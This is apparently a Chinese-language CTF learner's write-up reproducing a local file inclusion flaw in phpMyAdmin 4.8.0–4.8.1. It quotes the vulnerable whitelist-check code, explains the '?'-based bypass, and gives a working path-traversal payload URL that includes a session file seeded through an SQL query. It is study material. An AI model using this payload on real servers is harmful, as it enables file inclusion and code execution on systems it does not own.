flask項目差不多告一段落了,最近做ctf意識到代碼審計的問題,對於源碼閱讀還是很差,打算省賽結束開始php學習,提高代碼審計能力,先從一些簡單的cve開始,學細一些思路。
漏洞影響
該漏洞影響phpMyAdmin 4.8.0-4.8.1版本,本次使用4.8.1版本,復現環境Ubuntu16.04
漏洞分析
漏洞入口 index.php
54-63行,看到最後的include
,只要繞過前面五判斷即可達到任意文件包含。
$target_blacklist = array (
'import.php', 'export.php'
);
// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
即
1. target
非空
2. target
必須是字符串
3. target
不能以index
開頭
4. 不能再黑名單中(import.php、export.php)
5. Core類的checkPageValidity方法返回True
前四個很好繞過,重點放在第五個條件,跳轉到libraries/classes/Core.php
里的checkPageValidity
方法
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
- 因為我們沒有傳入
$whitelist
,所以現在的白名單使用定義的白名單。(太長了就不貼出來了) - 傳入的參數未被定義或者不是字符串,就返回False
- 參數在
$whitelist
里直接返回true,但是就不能包含了 - 第四步首先經過一次
urldecode
,這裡容易想到二次url編碼
,然後取第一個?
號前的字符串,這一步的意思是,如果target
包含的文件帶參數同樣可以成功包含。 - 判斷截取的被4截取過的字符串再放到白名單中判斷。
分析完了就很好利用了,只需要用一個存在白名單的文件然後就可以包含一個需要的文件了
這裡可以利用ph師傅的方法,在phpmyadmin中執行一次sql查詢例如,select
,然後包含session
文件,一般的儲存在tmp/sess_你的sessionid
中,sessionid
可以在cookies里的phpmyadmin里找到
,但是我碰到了不再tmp
下的情況,可以去phpinfo
中找到session.save_path
找到儲存路徑包含即可,可以利用目錄穿越去找到想包含的文件
payload: http://localhost/phpmyadmin-4.8.1/index.php?target=db_sql.php?/../../../../../../../var/lib/php/sessions/sess_n286l45an4ugi5akup174176pn
這裡注意,大多數payload給出的都是二次url編碼後的?
號,這裡原因還不是很明確=,請知道的師傅務必聯繫我!!
總結,從小的點出發,開始深挖,比如從一個include
開始,嘗試繞過判斷包含任意文件。利用一些函式來突破限制如urldecode
。從目標出發,只要可以繞過判斷就好。